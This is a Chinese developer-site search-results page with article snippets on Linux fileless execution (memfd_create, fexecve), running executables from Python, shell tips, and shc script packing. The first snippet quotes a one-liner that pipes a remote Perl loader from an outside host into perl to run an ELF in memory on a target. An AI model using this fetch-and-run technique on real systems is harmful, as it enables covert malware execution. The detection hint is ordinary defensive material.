首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

Linux文件渗透执行ELF

02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

5.5K80

linux文件执行— fexecve 揭秘

继续2020年的flag,至少每周更一篇文章,今天讲linux文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...事实上,如果一个文件存在,那么我们还是可以去发现它的,谁会去调用这个文件呢?使用如下的命令: lsof | grep memfd 2 ....fexecve的实现 今天不谈memfd_create,这是linux的新特性,没有什么好玩的,本人对fexecve 的实现很有兴趣,因为fexecve是glibc中的函数,而不是linux的系统调用

4.4K40

python中3种调用执行文件.exe

方法一、os.system()  会保存可执行程序中的打印值和主函数的返回值,且会将执行过程中要打印的内容打印出来 import os main = "project1.exe" r_v = os.system...(main)  print (r_v ) 方法二、commands.getstatusoutput()  会保存可执行程序中的打印值和主函数的返回值,但不会将执行过程中要打印的内容打印出来 import...subprocess.getstatusoutput(main) print (rc) print ('*'*10) print (out) 方法三、popen()  会保存可执行程序中的打印值...,但不会保存主函数的返回值,也但不会将执行过程中要打印的内容打印出来 import os main = "project1.exe" f = os.popen(main) data = f.readlines...() f.close() print (data) 另外,上面提到的三种方式,实际上都是在python中执行命令,因此他们不只是用来执行执行文件,也可以用来执行linux系统中别的指令

6.1K20

Linux 技巧(一:调用文件及其技巧)

调用文件 最直接的方式,便是通过文件的路径,一点一点打出,或者通过相对路径打开文件。 简化调用文件的方式 1)通过赋值。...给变量赋值为某个对象 bowtie2=/root/biosofts/bowtie2/bowtie2-2.2.9/bowtie2 $bowtie2 # 调用变量 2)使用alias。类似于快捷方式。...alias bowtie2=/root/biosofts/bowtie2/bowtie2-2.2.9/bowtie2 # 给变量简称 bowtie2 # 调用变量 3)添加环境变量。...可以修改.bashrc文件。和修改profile 文件一样,在文件的末尾添加指定环境。而至于二者的差异,上文也简单的介绍了。 通过cat 在文件后追加。...ln -s x1 x2 将x1 下文件 与x2 下文件建立软连接。 如果我们将x2 的目录添加到环境变量中,以后便可以直接通过访问该链接来调用原x1 软件。

27920

解决python调用自己文件函数执行函数找不到包问题

写python程序的时候很多人习惯创建一个utils.py文件,存放一些经常使用的函数,方便其他文件调用,同时也更好的管理一些通用函数,方便今后使用。或是两个文件之间的class或是函数调用情况。...src\ main.py utils.py test.py ... python调用其他文件中的函数 在main.py文件中加入一下语句即可调用utils.py下面的函数:‘’ import...还得改代码 原因 在文件中写下面两句python代码 import sys print(sys.path) 分别用pycharm和shell执行,发现两个输出的是不一样的: pycharm输出:...原因是pycharm执行文件的时候路径是整个工程下的路径,而shell执行文件的时候是执行文件所在的路径,不是shell所在的文件路径。...以上这篇解决python调用自己文件函数/执行函数找不到包问题就是小编分享给大家的全部内容了,希望能给大家一个参考。

3.4K40

Linux下创建可执行bin安装文件

我们将脚本和安装介质上传到生产环境,然后通过执行脚本来完成安装。如果能够将这两个文件合并为一个可执行文件,那安装的过程就更简单明了。 2、代码保护。...2、对于第二个隐藏代码内容的需求,有一款工具叫做 shc ,可以用它来将脚本编程二进制文件。 shc的用法比较简单,下载后make生成可执行文件,然后直接对脚本进行加密,会生成两个文件。...一个以.x结尾,为可执行的二进制文件。另一个以.x.c结尾,为生成的中间c文件。shc还能指定可执行脚本的过期时间。...参考资料: 1、Linux .bin安装文件制作 2、dos2unix 3、linux下制作二进制bin 文件制做方法 4、shc 5、How to Encrypt Your Bash Shell...Script on Linux Using SHC

8.9K20
领券